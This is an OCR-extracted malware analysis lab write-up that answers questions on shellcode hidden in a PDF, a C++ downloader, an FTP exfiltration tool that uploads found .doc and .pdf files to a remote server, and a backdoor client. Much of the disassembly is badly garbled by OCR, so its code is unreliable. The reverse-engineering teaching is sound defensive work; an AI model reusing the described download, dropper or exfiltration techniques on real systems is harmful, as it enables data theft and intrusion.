EEBP=00LIFF3E

Figure 7. Shellcode_launcher

On running the malware, the program will break automatically. Manually set the new origin

to the next instruction to resume program flow as shown below.

CPU - main thread

HEZEAAEE] CC

El -E2? FREBEEEE

HEE| BEER
BE3LAAE2
BE2LAEER
BE2EAAEC
BE2SAAEE
gaztaala
BE35Aa1:2

BEZEEAG14
BEZCAE]E
BEZCAE1S
BEZEEG1R
BESCEE1C
aEzSanlE

3
BA35E188

EYTE FTR
EYTE PTR
EYTE PTR
EYTE PTR
EYTE PTR
EYTE FTR
EYTE FTR
EYTE FTR
EYTE PTR
EYTE PTR
EYTE PTR
EYTE PTR

o EYTE FTR

05: [ERX], AL
DS: [ERX], AL
0S: [ERX], AL
D5: [ERX], AL
DS: [ERX], AL
05: [ERX] . AL
05: [ERX] . AL
05: [ERX], AL
05: [ERX], AL
0S: [ERX], AL
D5: [ERX], AL
DS: [ERX], AL
DS: LEAKTL AL

Figure 8. Set new origin to jmp instruction

If we look at the handles, we would see that the pdf file is in it as well.

Handle Rafs |access
| W &

Q00T F‘i#& fdir) 62, | 00100020
DOOO00L0 | F11e %char% 55.  O012019¢F
DOO00014 |File (char B4 001 2019F
G0O000C |[File (char) 63, | 001 2019F
DO0o00z0 | #1le %char% &6. | 0012019
DOOO0024 |File (char EE. OO012019F
COOQO0MC | Key 64, | D0000001
COO00DS0 | ey 6d. | Q0020019
DOODDEL | wa 56, DDOFDOIAF
GOAGHOT '#e 33, | O0L20089
CO0000Ed tEyI' 6d. | 00020019
DOGODOED | File (dev) 33. ODAZDOAD
GOA000FC |File 64, | D0L20089
000011 Kﬂi' 63. | 00000009
DOAoDA 20| File &4, 00120089

Figure 9. File Handle open

Handles
|Info |Translated name
HKE'(_LDC.&L_NM:HINE SOF TWARE ' Microsoft windows NT.Curremtversion.Image File E
JUEer s\ REM DeskTon, 1abls
-.UE‘"V“CE" Lonbry
D ce' Conbry
Oey | e\ ConDry
\Deviceh\Conbry
D ce' Conbry
HMEEY_LOCAL _MACHINE'SYSTEM'/Controlset00il Control’Session Manager
HEEY_LOCAL _MACHINE' SYSTEM \ Contro] SeToil Control N1, SorTing  wer sions
HK:'\'_LGCALJ‘AITHTN:
Size 50690., pointelc:'Users'REM'Desktop,lable’\Labl9-03. pdf
HEEY_LOCAL _MA&CHIMNESSYSTEM\CONTro]SeToll wContral\NeTworkprovi der ', mwor der
Dpurp Nucoq.m
Size 47104, , pointelc:'Windows'Systemi2 en-us' setupapi.d11. mui
MEEY_LOCAL_MACHINE SOF TWARE 'MTCrosof Ui windows NT \ Currentversion’Image File E
size 802., poincer |c:'users'\REM\Desktop'labl®ishellcode., raw
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Tracing the shellcode we will soon come into the following codes. The code here is trying to
find the function address from kernel32.dll by using a computed checksum.

e = rue s
T SPE EC MOU OWORD FTR SS: [EBF—141.ESI
e SEF MO0 EDI.ESI
SEE MO EEx, EST
= A=2FFFFFF cACL aESsaich
Sac FOU DWORD_PTR SS: CEBP—41.EAX
S GECGEEE6 MO ECH, BE
= an LODs OWORD PTR DS: CESII
5 =] FUSH ERAX
FEFS FC FOSH DWORD PTR SS: CEEP—41
[ETeETla ] ES’ EAFEFFFF CACL GE35&17E
AE STOS DWORD FTR_ES: CEDI]
EEEEEEEEI R -] LOOFD_SHORT @03Sezog
Bassaz50 5 sCaas2ee POSH D=
aa35az2A2 5 PSE3&E5C FUSH SCEESSvs
BaZSazZAY SE@ Mol EAQX . ESF
EASEA=AD =] FUOSH EAR
Fi1= CcALL OWORD FPTR DS: CEEXI kernel22.Loadl ibraruf
EEEEEEEE =T HCHE EAX, ECH
ao| Ao LODS OWORD FTR DS: CESI]
=] [==] FOSH EfX
aF| E1 FUSH ECH
Eo| ES COFEFFFF CALL Se3c@lrE
S| aB 0RO _PTR ES:CEDI]
El 1Fe ESI
BS ESD EC OWORD FPTR SS: [EEBF—141
=15 iCEe Qa@oo@on
c1 Dis Fs OWORD PTR SS: CEEF-=1
cc =) OSH EST
Ce FS3 1C cACL OWORD PTR DS: CEBX+1C1
cS| =E4E aC F EfA, OWORD PTR OS: CEES+3C1
cC|~7E_ED JHz SHORT Dossez
E| &57E Fe F S5: CEEFR—21,ESI
01| =10 EDx=
0z FEFPS 42 FUSH DWORD FTR DS: CEBR+4<1
0&| Sz POSH
+| FESa ae CACL OWORD PTR DS: CEBX+3@1
CiFr ECE TEST ERX, EQ
OC| ~BFS4 S10ilo0ea JE eESSEHd iz
EZ S4S Fa HOW DWORD FPTR SS: [EBP—CI1,EAX
in= HOR EDH, ED
E = FUSH EOR
EQ = POSH 3¢
ES Fr= am FOSH OWORD =]
EC FrE F& FUSH DWOF =3
EF FS3 =28 CALL DWORD PTIRE O
Fz F73 4 FUSH DWORD PTR D
FE FrE Fd FUSH DWORD FTR S
FS FrE F= FUSH DWORD =
BRSERSER ErS 24 POSH _DWORD 5]
Addr Uslue Comment
EEEEIEE 15E
B0| FCo8107E | kerne 122, LoadL ibrarul
1| FESG2566| kerne |52 CreateProce=sA
= Bt iEiA| kernel22. TerminateFoocess
3| FCEP0ESS | kerne |32 . GetCurrentProce==s
O| FESSS0ES | kexrne |52 . Get TemplPa
i| FESSEGEFE | kerne |32 . SetCurrentDirectoryf
S| rCep1A2E8| kerne 152 CoeateFile
S| FCO18E6, | kerne |32 .Gt ileSizs
O| FEE1GC1E| kerne |22 . SetFileFointer
1| PEE61812 | kerne lEZ2.ReadFile
S| FCO1BELT | kerne 22 WiriteFils
S| FESESELDY | kerne I32.CloseHandle
0| PESEFOED| kerne |22 . G labalfAl los
41| FCE2EFCEF | kerne 32 . GlobalFres
45 BESE
45| i CERS
40| & 1EsF
51
= =
S0 144E

The shellcodes then attempts to Load shell32 library followed by a search for ShellExecute A
as shown in Figure 11 to 13.

DMORD PR S5t CEBP—4 1, EHX ]
EC, BE

DwORD FPTR DS: CESI]

EFpL

DwoORD FTR SS: CEEP—4]

PR3ISALTE

DWORD _FTR_ES: CEDI]

D_ESHORT 29368239

T

E

DwORD FTR DS CEBRX] | kerne L32. LoadL ibcaryf
B, EC
DWORD FTR DS: CESI]

ot

2R3

-

o

T TTO0

CEDI]

CEBX+1C3
DS [EBX+3C]

: CEBP-81,ESI

=

oadiibrgfy,&'oﬁ shell32

Figure 11 L
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ﬁ Dwbog Flugrs: Ophions: Windos  Help
S x| ] s i ] wlEisTiwiE] o] R]B] &[] s] Sl 2]
Bene  Einemen sy T
bl i 1 L
Ogceess |tee duep ezl I o T—
Figure 12. finding ShellExecuteA address
Address |Malue Comrent
EESEE1E]| FCECE1EE| shel 132, FCECR1ES
EEZEE] AL | EZ0EEEE L
EEZEE]EY | BEEEE] SE
EEzEE160| PCEA10FE| kerne 132, LoadL ibracwA
EEsEELLL | YCEBE3EE| kerne 122, CreateProcessH
BEZEE11E) FCEBLELR| kerne l32. TerminateProcess
HE3EE1 19 FCEBOESS| kerne 132, GetCurrentProcess
HES5E1 10| FCES50EZ | kerne 132, Get TempPathA
HE2EE1 21| FCESEEFS| kerne 132, SetCurrentDirect oruf
EEZEE1 25| FCEE1A2E | kerne L1232, CreateFileR
EEZEE129| PCE1EEAY | kerne l32. GetF i leSize
EEZEE1 20| PCE1ACIE| kerne 132, SetF i lePointer
EEsEELZ] | FCEE1812| kerne 122, ReadF i le
EESEE135| FCEI0ELY | kerne 32 WriteFile
HE3EE139) FCEESEB0OY | kerne l32.CloseHandle
HES5E130| FCEEFOBO| kerne 132G loba lAL loc
EEZEE141 | FCEEFCEF | kerne 132, 6lobalFres
EEZEE145| FCA41158| shel132.Shel lEMecuted
EEZEE]1 49| BEEECEEZ
EEZEE140| BEEE1EEF
BEZEELE] | DEDBABEE
EESEE1EE| BEOEEEEF
FESEELEY | BBEE]L44E
HEESEE150| F4EEETES
EEZEELEL | FFE1AC24
Figure 13. ShellExecuteA added to list of imports

iv. What filesystem residue does the shellcode leave?

Set breakpoint @ WriteFile and let the shellcode run. As shown in figure 11 and 12, 2 files
are dropped on the victim’s machine. They are foo.exe and bar.pdf. Both are located in the

temp folder as defined in the env variables of the victim’s machine.
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worwahe | 1L ARSI IREE -S04 61 101 -BCR0-S8SEC I L20T
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~

FEEREY R LI T

HER RHERERED

Hiwgi GIPKE?QIHW
HEREEDUSEREHE

™ BE 76 14 ¢ FT O A TE =
BELERUHEIRERE

& BE DS a0 1e DC IV ET ) 80 AD

sER BESKEESBE

oo 82 OCCF 6 L3 b4 A N IO
ERTSmEpanT e

ﬂuzlﬁé %?ﬂ%lﬁd?&rl k
dESEEHDEEREER e
5. PDF dropped in Temp\bar.pdf

v. What does the shellcode do?

The shellcode attempt to import various functions from kernel32.dll and then using its
LoadLibraryA function to load shell32 library to import ShellExecuteA function.

The shellcode then attempts to read the pdf file to extract both the executable payload and a
pdf file which are both dropped in the temp folder as foo.exe and bar.pdf respectively.

foo.exe is then executed via CreateProcessA as shwon in Figure 16 and 17.

This must be annoying!

This is an annaying pragramm.

You must kill it from TaskManager,

Process ID: 3400

Process name; CDOCUME~ 1 ADMINI~ 1 LOCALS~ 14 Tempifoo, exe

157



Malware Analysis

Figure 17. foo.exe

d. The purpose of this first lab is to demonstrate the usage of the thispointer. Analyze
the malware in Lab20-01.exe.

i- Does the function at 0x401040 take any parameters?

If we examine the main function of ‘Lab20-01.exe’ (C++ executable) in IDA, we see that
this doesm’t take any parameters; however, it does take a ‘this’ pointer. By doing this it
knows that the function it will be running is for the created object.

: dint stdcall WinMain(HINSTAMCE hInstance .HINSTANMCE hPrevInstance .LPSTR 1pCmdLine.int nShowCmd})
_winMain@16 proc near

var_8- dword ptr —8
var_n— dword ptr —4
hinstance— dword ptr 8
nPrevinstance= dword ptr  8Ch
1pGmdLine—= dword ptr 18h
nShowCmd— dword ptr 14n

push enp

mow ebp. esp
sub esp. 8
nush 2y

Eaza TrravAPANiGs T operator newiuinty |

‘ MNew object being created

Store reference of object in
[ebp+wvar_ 8], [ebp+var_4], and also

[k s —
mo o [ebpruvar_8]. eax
mo w eax,. [ebpsuar_ 2] / store in ecx
n], eax
[ebp=
va -

http: s swww. practicalmalwareanaluysis_com'” A

Fass the 'this' pointer to
sub_401040 so it knows what
object's function to call

One way to identify this is the lack of clear structure being passed, strange duplication of
references being stored prior to it, and the result being stored in our ‘ecx’ register. This is in
addition to a URL being moved into our newly created object reference.

ii-Which URL is used in the call to URLDownloadToFile?

At a glance we can see the below URL being moved into ‘dword ptr [ecx]’.

e http://www.practicalmalwareanalysis.com/cpp.html

T BLX, |EUprudr_ o)
moy dword ptr [ecx], offset aHttpYWww practi ; “http://www.practicalmalwareanalysis.com™...
moy ecx, [ebp+uar 4]

lcall SUD_“B1349| aHttpWww practi db 'http://www._practicalmalwareanalysis’
’ db ' .comfcpp.html’,8

mow esp, ebp

EE e

Based on this we know that the URL http://www.practicalmalwareanalysis.com/cpp.html is
being stored at the start of our newly created object. By examining ‘sub_401040’, we can see
that the object passed in our ‘this’ pointer is being stored in [ebp+var 4].

s Attributes: bp—based Fframe
SuUb_B910460 proc near

var_ h— dword pte —&L

push ebp

mou ebp. esp

pushn ec

o [Lebpsuar_4u]. ecx |

push o T LPEIMNDSTATUSCALLBACK

push o ; DWORD

push offset aCEmpdownload_e : “"c:htempdownload.exe
o o eax. [Ebproar_ 5]

mou ecx. [eax]

push ecx : LPCSTR

push =) T T PONEHG WM

caill DRl Downloadloriien]

o esp. ebp

pop ebp

retn

Sub_nBOo10L0 endp
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This is then being referenced, and the start of our object is being accessed as the LPCSTR
entry passed to URLDownloadToFile. In this case it is the URL and FileName respectively
which is pushed to the calling object stack shortly before execution.

iii-What does this program do?

The program is contained solely within what we’ve discussed in the previous 2 questions.
From what we’ve seen, this program will download a file from
http://www.practicalmalwareanalysis.com/cpp.html and save it on the local machine to a file
called c:\tempdownload.exe

e. Analyze the malware In Lab20-02.exe.
i-What can you learn from the interesting strings in this program?

If we run strings over this executable, we can see a number of interesting entries, including
what looks to be evidence this is made using C++, possible imports associated with network
connections and FTP operations, and strings that indicate the program likely functions as an
FTP client which is looking for .doc and .pdf files to send back to
ftp.practicalmalwareanalysis.com.

ii-What do the imports tell you about this program?
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Opening this in PE-bear, we can see that this is importing functions from WININET.dII
which look to be associated with FTP operations. This leads us to believe the program will
function as a FTP client, further backing up our hypothesis from question 1.

!Disasrn I General | DOS Hdr | Rich Hdr I File Hdr | Optional Hdr | Section Hdrs | B Imports |

+
Offset Mame Func, Count Bound? OriginalFirstThun TimeDateStamp  Forwarder MameRVA FirstThunk
64C4 KERMEL32.dll 44 FALSE 6514 0 0 GE1A 6000
6408 WINIMET. dll I 5 FALSE 65C8 0 0 GE8A 60B4
G4EC Ws2_32.dll 2 FALSE 65E0 0 0 6696 60CC

WININET.dll [ 5 entries ]

Call via MName Ordinal Original Thunk  Thunk Forwarder Hint
G0B4 InternetCloseH... - 6628 6628 i 56
60BE FtpPutFileA = 663E 663E : 28
60BC InternetOpend - 6674 6674 - 6F
60C0 InternetConnectd - 6666 6666 = SA
60C4 FtpSetCurrentDi.. - 664C 664C o 2E

Examining the imports from KERNEL32.dll we also see what looks to be API calls
associated with finding files which match a certain parameter on a system.

| pisasm | General | DosHdr | Rmichtide | Filerdr | optionalHdr | Sectiontdrs | B8 Imports

+
Offset MName Func. Count Bound? OriginalFirstThun TimeDateStamp  Forwarder MarmeRVA FirstThunl
644 KERMEL32.dll | 44 FALSE 6514 1] 4] 6614 6000
1 ; 5 FALSE 65C8 0 0 G684 G0B4
G64EC Ws2_32.dll 2 FALSE GSED 0 0 6696 60CC

KERMEL32.dll [ 44 entries ]

Call via Mame Ordinal Original Thunk  Thunk Forwarder Hint
6000 : 65EC 65EC : oD
6004 FindClose = 65FC 65FC 3 90
6008 FindFirstFilef s 6608 6608 - 94
600C FlushFileBuffers | - 6944 G944 = Al
6010 GetStringTypeW - 6932 6932 - 156
6014 GetStringTyped - 6920 6920 = 153
6018 LCMapStringW - 6910 6910 - 1co
601C LCMap5Stringf - 6900 6900 - 1BF
6020 MultiByteToWid... - GEEA GEEA - 1E4
6024 SetStdHandle - 68DA 68DA - 27C
G028 LoadLibraryf - GECA 68CA - 1c2

Based on these imports it looks like this program will search for files on a system, and at
some stage send them to a remote FTP server.

iili-What is the purpose of the object created at 0x4011D9? Does it have any virtual
functions?

If we examine 0x4011D9, we can see that this occurs directly after a comparison which looks
to be searching for a .doc file. We can also see checks on one branch which may be looking
for a .pdf file.
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60461106 push
60461187 call

Graph ovenaew a

eeeeee

Short loc_ng120a

00401216 _jmp

Of interest in the above is that after an object is created, for what looks to be a .doc file being
found, there are 2 sets of ‘mov’ operations occurring directly after one another.

Graph overview =

[==_1 . VY

aaL40811D9 push £:

ao4e11DBE call T2ZEYAPAXIRZ : operator newl{uint)
ao4e11EG add S

aa43811E3 mowu [ebpruar 15C] eax

004011E? cmp ebpruar - @

aau811Fae j= short loc 581218

L

is, [==_H . WYY
a04811F2 |l ed=, | 1 agLa1218
8840811F8 mou dword |[ptr ed=x]|. offset off_ LOB50EA 08401218 loc LO1218:
00aB11FE mou > L OO4g1Z18 mou [eDp+u;
00481204 mou dword |ptr [eax],ﬁoFFset ofF_ 4868DC
004B120A mou jﬁe proar _T15cC |
884281218 mov [ebp+var_178]., ecx
84581216 jmp short loc__h831222

|

This looks to first create an object and store a reference to it into [ebp+var 15C]. This is then
stored in a pointer to [edx] and [eax]. Immediately after this we see what looks to be a virtual
function table ‘offset off 4060DC’ being written to the object’s first offset. If we examine
cross-references to ‘off 4060DC’, we can see that this looks to be a virtual function given it
is only referenced by an offset rather than a ‘call” instruction.

.rdata:B864866DC| of £ 466 6DC dd offset suh:hﬂ1hhﬂ i DATA XREF: sub:hﬁ1ﬁﬁﬁ+2ﬂu13
.rdata:@ ) =

data-ni Ll xrefs to sub 401440 o ] 1o

Dire...  T. Address Teut

.rdata:@
.rdata:@
.rdata:z@ o .rdataoff 40600C
.rdata:z@
Jdatazeg | o | = -
.rdata:@ =
.rdata:@

.rdata:@ [
.rdata:@

.rdata: 84 Linel ofl
.ridatac-A

| locks(

ok | | Concel | | Hep | | Seach
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Based on this it appears that the purpose of this object is to act as a reference to a ‘.doc’ file
which has been found. Looking back at assembly operations performed prior to these
operations shows calls to functions which help to back up this hypothesis. These back up our
hypothesis given the malware would need to find a file before creating an object as a
reference to the file.

5.0, NI
00401026
00401026 loc_461026:
00401026 lea eax, [ebp+FindFileData]
0040102C push eax ; 1pFindFilebata
00401020 mou ecx, [ebp+lpFileMame]
> 1pFileName
00401031 call ds:FindFirstFilea
WORUTOI7 mou [ebp+hFindFile ], eax
¥
[= I Y
00401030
00481030 loc_46103D:
00401030 mov edx, 1
00401042 test edx, edx
00401044 jz loc_u0136A
=
¥
B N L.l
0040104A cnp [ebp+hFindFile], OFFFFFFFFh
00481051 jnz short loc_401065
1
¥
N L
004071065
004010565 loc 4B81065=
00401065 mou ecx, dword ptr [ebp+FindFileData]
BOROTO68 and eCx, 18R
0040106E test ecx, ecx
00401070 j= loc_40113F
El N Ll
00801076 push 2 ; size t
00801078 push offset a_ g
8040107D lea edx, [ebp-[lEH]1
00401083 push edx : char x|
0One1084 call _stracmp
00401080 add esp, OCh
0040108C test eax, eax
DORO108E jz loc_no113F
L
¥
M sl
00481094 push 3 5 size_t
064681096 push offset a e
06461098 lea eax, [ebp-HHEH]
0o410A1 push eax : char x|
apup10A2 call _strnemp
Qoue10A7 add esp, BCh
004810AA test eax, eax
0oup10AC jz loc_ue113F

iv-Which functions could possibly be called by the call [edx] instruction at 0x401349?

Taking a look at the call [edx] instruction at ‘0x401349’°, we can see that 3 possible objects
are being created. The 3 objects being created are for a PDF file, DOC file, and a file that is
neither of these being found on disk. From here we see evidence of Virtual Function Tables

being setup, until all the references to a created object merge into a single reference to
‘[ebpt+var 148]’.

L L 2 I ¥
A28 piich

EAN LU
TS}
GERGTTED nov eb 1) PRCET] \

Create object for found POF | [ggugi20m

" new(uint) file 88

00401200 push

call

GERTTTET cp e N a
DBa011F 0§z Short loc 401218 Create object for
I } found DOC file
k3

Crede sEpetoTomd | AT [8
file which isn't PDF or
DOC

L] ¥

B

¥
EAN L | BNl E N L
08401247 BO4O12FT mov eax, [e r_168 BOROT3 0D
0401247 loc_4ii2A7: B08012F9 mou rd_p ax’ BORI130D loc_kEd3ib:
B4012A7 Rou [ebpsuar_174], 0f |008012FF [now 3] BORB1300_mou [ebps

A28 cap &b
oou27F iz Shart loc k127

00401218 Loc_kiH218:
00401218 may [ebpevar_178], ©
08401385
00401308 jop

Setup Object Virtual

| Function Table: Cis Setup Object Virtual

Function Table
AR
Setup Object Virtual
| 5 Function Table
oy [el i8], eax|

o .
rd_uo7a30, edx
00401208 jnp short loc_40132F

X d
eox, 1 edx
twora_a07aan, ecx | (e0umzz meu oo
nc_nitaze |

BN
040

132
8040132F loc_A@132F:
8048132F nov ecx,
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Taking a step back, what we’re really interested in is the possible virtual functions that
different objects would call, which in this case is at ‘off 4060DC’, ‘off 4060D8’, and
‘off 4060E0’ (remember that these all point to the first function in the virtual function table
for our created objects).

|

¥

|

L3

084012EA cmp

[ebp+var_166],
064B12F1 jz short loc_u813

EA N L

EA N L

‘edx, [ebpruar_15C]

duord ptr [eds], offset off_4066EQ)
eax, [ebptuar 15C

, [ebprvar_
[ebpruar_170], ecx
short loc_g1222

00461218
00401218 loc_ue1218:
80461218 mou [ebp+var_178], 0|

eax, [ebpruar_164]
duord ptr [ear], offset off_4060EQ)
ecx. [ebpeuar_164]

004012A7

00401207 moy

[ebp+u.
06481205 jmp short

[dword ptr_[ecx], offset off 406808

004012A7 loc_4012A7:

[ebp+var_174], 0

ar 1747, edx
loc_u461281

Iy

08401305 mou

EA N L

064012F3 moU
064012F9 mov
804B12FF mou
06401308 jmp

b
eax. [ebptuar 16C
[dvord ptr [eax], offset off 4060E0
ec, [ebpruar_16C]
[ebp+var_178], ecx
short loc_461317

e

1e_)

4012221
edx, [ebprvar_170]
[ebprvar_158], edx
eax, [ebp+var_158]
[ebpruar_148], eax
ecx, dword_467A30

004812BD Moy
064012C3 mou
06401209 mov

ecx, 1 B0LB12CF add
duord_u87A30, ecx | (86481202 mou
loc_49132F 06401208 jmp

eax, [ebp+uar_174]
[ebpevar_166], eax|
ecx, [ebp+uar_160]

[ebp+uar_148], ecx| 88481329 moy

EHul

00401317

80401317 loc_401317:
00481317 nov
00401310 mov
064081323 mov

edx, [ebpruar_178]
[ebp+var_168], edx]
eax, [ebpruar_168]
ebpruar_148], eax

edx, dword_467A30
edx, 1

duord_487a30, edx
short loc_46132F

¥

EANL
ne] 0040132
char = 0040132F loc_B132F:
8640132F mov ecx, [ebp+var_148]
00401335 m edx, [ebp+uar 4]
80401338 mou [ecxen], edx
86401338 mov eax, [ebp+var_148]
char = 00401341 m edx, [e:

ecx, [ebpsuar_148]
dword ptr [edx]

If we take a look at what these offsets point to, we can see that they point to

e sub_401380
e sub_401440

e ’??1 Init_locks@std@@QAE@XZ’' (Name mangling has occurred. This tells us the original
class was ‘std’ with a function name of ‘_Init_locks’. A quick search reveals this is likely an
inbuilt C++ function used for creating a lock on an object when it is created)

.rdata:-804866D8

.rdata:8048568D8
.rdata:884868DC

.rdata:-88408606E8

off_4060D38
off_4060DC
off 4BGOED

.rdata:-80408608E0
.rdata:-868408608E0
.rdata:-8040560E0

.rdata:-804868EL
w#rata - A0LAA OF

nnl: hbAOFR

;org L8668
dd offset
dd offset
dd offset

align 8
dh BFFh

2h

sub_4B1388 F
sub_Lo1448 i

DATA XREF:
DATA XREF:

771 _Init_ locksEstd@E)AEERZ

CRRCREIN

DHTH &HEF:

sub_481
sub_461

sub_ 4@

sub_4o1860+287To
std:: _Init_locks::

naTa XRFF -

ctartar

If we examine sub_ 401380, we can see that this looks to be establishing a new connection to
a remote FTP server and attempting to place a found PDF file into a ‘pdfs’ directory.
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00401380 sub 481380 proc near
aoun1380
84813808 var_ 118= dword ptyr —118h
86458138080 hinternet= dword ptr —114h
004813808 szHewRemoteFile= byte ptyr —118h
805081380 hConnect= dword ptr —5&
aaae1380
8a5 813808 push ebp
8581381 mov ebp. esp
005081383 sub esp, 118h
00481389 mou [ebp+uar_118], ecx
884 8138F push a ; dwFlaqgs
aa5 813921 push a : lpszProxuyBuypass
00481392 push a : lps=zProxy
88481395 push 1 ; dwAccessType
a8a\813%97 push ofFfset szAgent : ""Home ftp client"
8a58139C call ds:InternetOpennf
aa5 8132 mov [ebp+hInternet]. eax
aaL813A8 push a ; dwContext
aaug13AAa push a 3 dwFlaqs
Aaau@d13Ac push 1 ; dwService
865 813AE push a : lpszPassword
8845813808 push a : lpszUserHMame
868581382 push aA5h s nServerPort
[eone13B: push OfFfset srServerHame ; ““ftp.practicalmalwarenalaysis.com'
oL e13IBEY mov eax, [ebp+-hInternet]
864 813BF push eax : hInternet
aaL813ce call ds:-InternetConnecth
-
884813C2? push OFfset szDirectory pdfs
88581301 push ecx : hConnect
80481302 call ds:-FitpSetCurrentDirectoryf
00801308 mov edx, dword_ L4O7A30
8a4813DPE push edx
08L813DF push offset name
BLO13ES4 push offset asbD_pdf s TRS—%d_pdf
BuB13E9 lea eax, [ebp+szHMewRemoteFile]
OOMETIEF pUSH =2 T Cchar x
8a4813F8 call _sprintf
004 813F5 add esp, 18h
805 0813F8 push a dwContext
aaue13FAa push a 3 dwFlaqs
884 B813FC lea ecx, [ebp+szHewRemoteFile]
aa5 81482 push ecx : lpszHewRemoteFile
00481482 mou edx, [ebp+uar_118]
00481409 mouw eax, [edx+53]
a8a\8146C push eax ; 1lpszLocalFile
aas 81460 mov ecx, [ebp+hConnect]
00L814L18 push ec: s hConnect
ponein11 cail ds-FtpPutfFilen |
GBLB1h17 mou ed=x, [eDp+hGConnect]
aaufiuia push edx ; hInternet
L8 141E call ds:InternetCloseHandle
8581421 mov eax, [ebp+hiInternet]
aaLe14L427 push eax ; hInternet
aaue1uz28 call ds:InternetCloseHandle
84 8142E mov esp, ebp
aa3 81438 pop ebp
a0L81431 retn
a0u01431 sub_ 4981380 endp

If we examine sub 401440, we can see that this looks to be establishing a new connection to
a remote FTP server and attempting to place a found DOC file into a ‘docs’ directory.

9048148580 sub_ 48145258 proc near

004014880

0491480 var_ 118= dword ptr —118h

06401485808 hinternet— dword ptr —i143n

OO e1aRE szHewRemoteFile= byte ptr —118h
06401485808 hConnect= dword ptr —&3

o0a01aRa

848148588 push ebp

08481451 mouv ebp., esp 1
904014583 sSub esp. 118h

00420148529 mou [ebp+uar_ 118], ecx

904 01488F push a s dwFlags
064061451 push a : lpszProxyBypass
99481453 push a s lpszProxy
08461455 push 1 s dwAccessTupe
90481457 push ofFfFset sSzAgent s ""Home Ftp client
8846145 C call ds-InternetOpenn

00481862 mou [ebp+hiInternet], eax

06461468 push a ; dwContext
e84 e1486A push a : dwFlags

B84 8146C push 1 s dwService

o e1486E push a s lpszPassword
904014708 push a s lpszUserHame
OBLO148F72 push 1sn : nSeruverPort
G094 814878 push offsel szServerHNHame - tp _prac calmalwarenalay com "
OOLO1L479 mou eax. [ehbp+hinternet]

994 8147F push eax s hInternet
064814868 call ds-InternetConnectn

009L 01486 mowv reop*nconnect] L=F-F.4
[[eeh6a5h89 push offsel abDocs s —docs ]
O0hO1aA8E mou ecx. [eDprhConnect]

064614591 push ecx s hConnect
0048014892 call ds FEpSetCurrentDirectoryn
00401498 mow edx. dword_ 48730

0040 1489E push edx

9095 91459F push offset name

eeaGe1aah push offset asSD_doc s “Es—%d_doc™
S04 814A2 lea eax, [ebprszHewRemoteFile]
GoLOe14hanF push e ax s char =
90491480 call _sprintF

06461485 add esp, 18h

eane1aB8 push a ; dwContext
064 6148BA push a ;s dwFlags
eoae1aBC lea ecx, [ebprszHewRemoteFile]

884 814C2 push ecx s lpszNMewRemoteFile
084861 48C3 mou edx. [ebp+uvar_118]

904 014CY mow eax, [edx=ih]

0842 6148CC push eax s lpszlLocalFile
904 014C0 mow ecx,. [ebp-hConnect]

SeLB1LES B = - ho et
99481401 call dsFEpPutFilef T

R Lo E |

904 914DA push edx s hInternet
864614DB call ds:-InternetCloseHandle

004 618E1 mou eax. [ebp+rhInternet]

064 614E7 push eax : hInternet

O e18ES call ds-InternetCloseHandle

G048 14EE mow esp. ebp

004 G148F 8 pop ebp

904 O14F1 retn

OO4014F1 Sub 48152450 endpD
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Based on this we know what functions could be called by the call [edx] instruction at
0x401349.

v-How could you easily set up the server that this malware expects in order to fully
analyze the malware without connecting it to the Internet?

Given we know that this is expecting an FTP server to be present at
ftp.practicalmalwareanalysis.com for exfiltration, we can setup a local ftp server using
software such as XAMPP or FileZilla and then redirect any calls for that domain to our local
host like we’ve done in previous labs.

We know based on what was found in question 4 that this doesn’t look to be authenticating
to the ftp server in question. Due to this we will first need to enable an ‘anonymous’ user
account on our FTP server and ensure it doesn’t require a password. In addition we will need
to configure the home directory where captured files will be sent.

f. Analyze the malware in Lab20-03.exe.
i-What can you learn from the interesting strings in this program?

By running strings against this binary we can begin to infer what it may be used for and what
functionality it may have.

strings Lab20-03.exe
First off we see it is likely written in C++ and can present a message popup to the user.

<program name unknown>

GetLastActivePopup
GetActivelWindow
MessageBoxA

userd2 . dll

Next up we see what looks to be a number of imported APIs giving this the ability to read
files, create files, get access to the user context it is running under, make network
connections, terminate itself, understand what process it is running under, and load further
libraries.
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&

Finally we can see that this looks to perform some Base64-encoding or decoding functions,
potentially using a custom index_string, we see reference to remote URISs, a reference to
original C++ clases being labelled as a ‘BackdoorClient’ in addition to ‘Polling’ and
‘Beacon’ strings. Further to this we can see this program looks to gather Host/User
information,

HOKN LIBUHUY GIECRDRES ZUAG=agxswoedeuf shatnhynjukilo
EFGH I JK TGRS TUULIKY Zabode £ ohhiglclnn o pass b o wscos

ading
Erf it Ay - Eo
.

Uersion—~d, Locale—xd
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Immediately we begin to believe this is some sort of information gathering remote access
tool/trojan which provides the ability to exfiltrate files and run commands on a system.

ii-What do the imports tell you about this program?

Opening this in the latest available version of pestudio (in this case 9.09), we can see that a
number of imports are already down as ‘blacklisted’, in addition to some deprecated APIs
being used by the program.

name (66) group (8) type (1) ordinal (11} blacklist (17) anti-debug (0}  undocumented (0)  deprecated (10)  library (3)

115 (WSAStartu network implicit * X ws2_32.dll

116 (WSACleanu network implicit x 'y ws2_32.dll

19 (send) network implicit x X ws2_32.dll

16 {recy network implicit x x ws2_32.dll

11 (inet addr’ network implicit ® X ws2_32.dll

52 (gethostbyvalue network implicit x X ws2_32.dll

111 (WSAGetl astError] network implicit x o ws2_32.dll

3 (closesocket network implicit X X ws2_32.dll

9 (htons network implicit x x ws2_32.dll

E23 (socket network implicit x x ws2_32.dll

4 (connect’ network implicit x X ws2_32.dll

CreateProcessi execution implicit x kernel32.dl1
TerminateProcess execution implicit X kernel32.dIl
GetEnvironmentStrings execution implicit X kernel32.d1l
GetEnvironmentStringsW  execution implicit X kernel32.d1l
RaiseException exception-handling implicit X kernel32.dIl
GetModuleFileNamed dynamic-library implicit X kernel32.dIl
GetVersionExA system-information implicit ernel32.dll
GetComputerMamel system-information implicit kernel32.dIl
GetUserhameA system-information implicit advapi32.dil
GetString TypeW memary implicit X ernel32.dl1
GetString Typed memaory implicit x ernel32.dll
[sBadCodePtr memaory implicit x ernel32.dIl
[sBadReadPtr memaory implicit x ernel32.dIl
HeapFree memory implicit kernel32.dIl
HeapAlloc memary implicit kernel32.dl1
HeapReAlloc memory implicit kernel32.dIl
HeapSize memaory implicit kernel32.d1l
HeapDestroy memory implicit kernel32.dIl
HeapCreate memory implicit kernel32.dIl
VirtualFree memaory implicit kernel32.d1l
VirtualAlloc memory implicit kernel32.d1l
[sBadWritePtr memaory implicit |I| kernel32.d1l
GetFileSize file implicit kernel32.dIl
CreateFiled file implicit kernel32.dl1
